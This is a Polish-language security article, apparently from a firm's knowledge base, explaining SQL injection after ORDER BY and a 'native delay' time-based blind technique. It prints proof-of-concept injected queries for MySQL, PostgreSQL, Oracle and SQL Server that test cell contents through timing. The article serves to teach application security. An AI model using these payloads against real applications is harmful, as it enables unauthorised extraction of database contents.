Sekcje

Przejdź na skróty do treści. | Przejdź do nawigacji


Baza wiedzy Publikacje SQL Injection - nietypowy wariant ataku

SQL Injection - nietypowy wariant ataku

— w kategorii: , ,

Po przeczytaniu dowiesz sięSQL injection

  • Dlaczego w kodzie korzystającym z konstrukcji ORDER BY często spotyka się podatność SQL injection.
  • W jaki sposób można wykonać skuteczne SQL injection po słowach kluczowych ORDER BY.
  • Jak można wykorzystywać nietypowy podwariant metody czasowej - do ataku na podatność SQL injection.

Wstęp

Artykuł przeznaczony jest dla zaawansowanych czytelników interesujących się bezpieczeństwem aplikacji. Zakładamy podstawową znajomość pojęcia SQL injection oraz dobrą znajomość składni języka SQL.

SQL Injection - ORDER BY

Często w aplikacjach webowych, wykorzystywane jest zapytanie SQL, zawierające frazę ORDER BY. Typowy przykład stanowią rozmaite listy: newsów, artykułów, zgłoszeń serwisowych, użytkowników, itd.

W takim przypadku, zapytanie SQL wygląda np. następująco:

SELECT * FROM news WHERE category='hardware' ORDER BY $order

gdzie parametr $order przekazywany jest bezpośrednio z aplikacji w formie nazwy kolumny bazodanowej, np.:

http://www.site.yyy/news_list.php?order=title

Dlaczego wspomniana wyżej nazwa kolumny, po której następuje sortowanie, przekazywana jest często jako parametr z aplikacji?

Otóż programiści, do obsługi funkcjonalności sortowania list tworzą często "uniwersalny" kod, umożliwiający łatwe jego rozszerzenie  w przypadku powiększenia tabeli o kolejną kolumnę, po której należy sortować. W przypadku gdy sortowanie powinno działać po kolejnej kolumnie, należy jedynie przekazać do aplikacji jej nazwę. Przykładowo:

http://www.site.yyy/news_list.php?order=new_column

Jednocześnie, programiści często nie pamiętają, iż tego typu konstrukcja jest wrażliwa na podatność typu SQL injection.

SQL Injection - jak wykonać?

Dla przypomnienia bazowe zapytanie, które rozważamy w kontekście SQL injection wygląda następująco:

SELECT * FROM news WHERE category='hardware' ORDER BY $order

Osoby znające składnię SQL mogą stwierdzić, iż teoretycznie SQL injection jest tu możliwe, ale w praktyce nie istnieje szkodliwy kod, który można wstrzyknąć właśnie w tym miejscu zapytania. Argumenty za tego typu rozumowaniem:

  • Nie można przeprowadzić klasycznego ataku z wykorzystaniem konstrukcji UNION (nie pozwala na to składania zapytania SELECT, która w tym przypadku nie umożliwia umieszczenia konstrukcji UNION po ORDER BY).
  • Składnia SQL, po frazie ORDER BY nie dopuszcza elementów, które mogłyby pomóc w ataku - ORDER BY to w zasadzie "końcówka każdego zapytania SQL".
  • Konstrukcje typu INTO OUTFILE nie są użyteczne, bo atakujący nie kontroluje początku zapytania.

Otóż okazuje się jednak, że w zasadzie wszystkie liczące się na rynku bazy danych SQL, posiadają pewną słabo udokumentowaną właściwość. Umożliwia ona zmianę porządku sortowania według pewnych sztywnie określonych kryteriów.
Przykładowo, chcemy posortować alfabetycznie wiadomości po kolumnie title, ale dodatkowo chcemy aby wiadomość z tytułem 'sql injection' znalazła się na pierwszym miejscu (wszystkie pozostałe newsy mają być w porządku alfabetycznym).

W tym przypadku konstrukcja dla bazy MySQL wygląda następująco:

SELECT * FROM news WHERE category='hardware' ORDER BY title IN ('sql injection')

Konstrukcje w innych bazach wyglądają podobnie, tj.:

  • PostgreSQL: SELECT * FROM table ORDER BY (SELECT 'sql injection')
  • Oracle: SELECT * FROM table ORDER BY (SELECT 'sql injection')
  • SQL Server: SELECT * FROM test ORDER BY (SELECT 'sql injection')

W tym momencie atakujący może kontrolować podzapytanie znajdujące się po konstrukcji ORDER BY.  Wydaje się, iż mając powyższą wiedzę, atak czasowy na tego typu podatność - przy wykorzystaniu funkcji opóźniających - jest już prosty.  Zobaczmy jednak jak całość wygląda w praktyce.

SQL injection + ORDER BY + atak czasowy = ?

W przypadku bazy MySQL / Oracle, atak tego typu może być rzeczywiście nieskomplikowany (pod warunkiem, iż filtry aplikacyjne nie blokują stosownych funkcji opóźniających):

MySQL

SELECT * FROM news WHERE category='hardware' ORDER BY 1 IN (SELECT IF(test2.v1='xxx',BENCHMARK(200000,md5(1)),2) FROM test2)

Oracle

SELECT * FROM news WHERE category='hardware' ORDER BY (SELECT CASE WHEN test3.v1 = 'xxx' then utl_inaddr.get_host_name('10.9.9.9') ELSE 'a' END FROM test3)

W powyższych przykładach wykorzystany został test czasowy na konkretną zawartość dowolnej komórki w bazie danych.

W przypadku pozostałych baz, konstrukcja może nie być równie prosta. Problemy na jakie może natrafić atakujący:

  • Brak dostępności odpowiedniej funkcji opóźniającej (np. brak dostępności pg_sleep() w pewnych wersjach PostgreSQL).
  • Niemożliwość wykorzystania funkcji opóźniającej w rozważanym kontekście (np. po konstrukcji ORDER BY). Dla przypomnienia: język SQL posiada składnię określającą w jakim miejscu/kontekście dane słowo kluczowe/wywołanie funkcji może być wykorzystane.

SQL injection - natywne opóźnienie

Odpowiedzią na wskazane wyżej kwestie jest ukuty przez nas na potrzeby niniejszego tekstu termin natywnego opóźnienia.

Polega ono na zadaniu do bazy danych SQL zapytania powodującego jej znaczne obciążenie, a co za tym idzie opóźnienie w wykonaniu tegoż zapytania. Jednocześnie zapytanie to nie jest wykonywane za pomocą klasycznej funkcji, samej w sobie powodującej obciążenie (jak np. benchmark()).

W skrócie technika natywnego opóźnienia polega na:

  • użyciu operatora SELECT ,
  • wykorzystaniu jednostkowej operacji, która minimalne obciąża bazę danych,
  • wykonaniu operacji SELECT dla dużego podzbioru danych, które stanowią "mnożnik" dla operacji jednostkowej.

W efekcie następuje wykonanie odpowiednio dużej liczby powtórzeń operacji jednostkowych - prowadzące do widocznego opóźnienia w wykonywaniu całego zapytania.

W jaki sposób wygenerujemy duży podzbiór danych? Otóż sami stworzymy "wirtualną" tabelę, a następnie wykonamy na niej złożone czasowo operacje.

Przykład zapytania - SQL Server

SELECT TOP 1 rand(checksum(newid())) FROM  dbo.sysobjects, dbo.sysobjects AS t ORDER by 1 DESC)

Komentarz: generujemy "wirtualną" tabelę za pomocą iloczynu kartezjańskiego (tj. zapytania o wszystkie kombinacje wierszy) z dwóch tabel. A następnie dla każdego wiersza tak powstałej tabeli wykonujemy czasochłonną operację.

W tym przypadku metoda działa w sposób następujący:

  • Znajdź tabelę (np. systemową) charakterystyczną dla danej bazy danych (w przykładzie jest to dbo.sysobjects).
  • Znajdź operację, która wymaga niezerowej jednostkowej mocy obliczeniowej (w przykładzie jest to rand(checksum(newid())).
  • Zreplikuj operacje poprzez odpowiednie zapytanie do iloczynu kartezjańskiego tabeli samej z sobą.
  • Umieść całość w odpowiednim miejscu zapytania SQL.

Przykład zapytania - PostgreSQL

SELECT * FROM generate_series(1,10000000,1) ORDER BY 1 LIMIT 1

Komentarz: przykład dla PostgreSQL został uproszczony. Nie mamy tutaj operacji jednostkowej, mamy natomiast operację sortowania. Z kolei do generacji dużego wolumenu danych wykorzystaliśmy funkcję generate_series()

Finalne przykłady

Poniżej prezentujemy realne przykłady bazujące na opisanych powyżej technikach.

Być może istnieje bardziej oczywiste i proste wykonanie SQL injection dla baz danych Oracle / SQL Server - jednakże poniższe przykłady mają na celu prezentować pewne ogólne metody, które mogą być zastosowane w zupełnie innych kontekstach. Przykłady świadczą również o tym, iż skuteczne SQL injection może być wykonane niemal w każdym miejscu zapytania SQL.

MySQL PoC

SELECT * FROM news WHERE category='hardware' ORDER BY 1 IN (SELECT IF(test2.v1='xxx',benchmark(200000,md5(1)),2) FROM test2);

PostgreSQL PoC

SELECT * FROM news WHERE category='hardware' ORDER BY (SELECT CASE WHEN test2.id=1 THEN (SELECT * FROM generate_series(1,10000000,1) ORDER BY 1 LIMIT 1) ELSE 2 END FROM test2);

Oracle PoC

SELECT * FROM news WHERE category='hardware' ORDER BY (SELECT CASE WHEN test3.v1 = 'xxx' THEN utl_inaddr.get_host_name('10.9.9.9') ELSE 'a' END FROM test3)

SQL Server PoC

SELECT * FROM news WHERE category='hardware' ORDER BY (SELECT top 1 CASE WHEN (test2.id=999) THEN (SELECT TOP 1 rand(checksum(newid())) FROM dbo.sysobjects, dbo.sysobjects AS t ORDER BY 1 DESC) ELSE 2 END FROM test2)

Podsumowanie

O autorze

Michał Sajdak
Dyrektor d/s Rozwoju
Securitum

michal.sajdak@securitum.pl
  • W artykule zaprezentowaliśmy uniwersalną, nietypową metodę umożliwiającą czasowe ataki na podatności SQL injection.
  • Metoda pokazana została w ciekawym przypadku - SQL injection "na koncu" zapytania - po konstrukcji ORDER BY.
  • Wskazaliśmy miejsce oraz powody częstego występowania SQL injection w funkcjonalności list sortowanych - w aplikacjach webowych.

Przydatne informacje? Polub nas na facebooku.

Nawigacja
 
Darmowy magazyn o ITsec

zine
Subskrybuj RSS:
RSS